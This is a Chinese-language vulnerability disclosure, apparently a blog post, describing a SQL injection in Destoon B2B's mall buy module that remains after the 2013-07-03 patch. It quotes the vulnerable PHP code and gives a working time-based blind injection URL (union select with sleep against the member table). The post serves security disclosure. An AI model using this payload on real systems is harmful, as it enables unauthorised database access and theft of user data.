Destoon B2B建站存在SQL注入漏洞(已经打了20130703补丁)
/module/mall/buy.inc.php 这个文件,除了已经修复了的知道创宇上报的那个注入点,还存在其他注入点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | if ( $submit ) { require DT_ROOT. '/module/' . $module . '/cart.class.php' ; $do = new cart(); $cart = $do ->get(); if ( $post ) { $add = array_map ( 'trim' , $add ); $add [ 'address' ] = area_pos( $add [ 'areaid' ], '' ). $add [ 'address' ]; $add = array_map ( 'htmlspecialchars' , $add ); $buyer_address = $add [ 'address' ]; if ( strlen ( $buyer_address ) < 10) message( $L [ 'msg_type_address' ]); $buyer_postcode = $add [ 'postcode' ]; if ( strlen ( $buyer_postcode ) < 6) message( $L [ 'msg_type_postcode' ]); $buyer_name = $add [ 'truename' ]; if ( strlen ( $buyer_name ) < 2) message( $L [ 'msg_type_truename' ]); $buyer_mobile = $add [ 'mobile' ]; if ( strlen ( $buyer_mobile ) < 11) message( $L [ 'msg_type_mobile' ]); $buyer_phone = $add [ 'telephone' ]; $buyer_receive = $add [ 'receive' ]; if ( strlen ( $buyer_receive ) < 2) message( $L [ 'msg_type_express' ]); $i = 0; foreach ( $post as $k => $v ) { $t1 = explode ( '-' , $k ); $itemid = $t1 [0]; $s1 = $t1 [1]; $s2 = $t1 [2]; $s3 = $t1 [3]; $t = $db ->get_one( "SELECT * FROM {$table} WHERE itemid=$itemid" ); |
其中$submit,$post,$add都是外部提交数据。
由于$t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid");
由于$itemid由$post数组的key赋值,被输入控制,且SQL语句里面没有单引号包围$itemid,导致绕过GPC防护,可以进行union查询盲注。
需要登录,
1 | http: //localhost/webapp/destoon/mall/buy.php?add[address]=abcdefghijklm&add[postcode]=abcdefghijklm&add[truename]=abcdefghijklm&add[mobile]=abcdefghijklm&add[telephone]=abcdefghijklm&add[receive]=abcdefghijklm&post[1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(10) from destoon_member]=b |
同时POST提交submit=1
作者:hawkish001
评论 (0)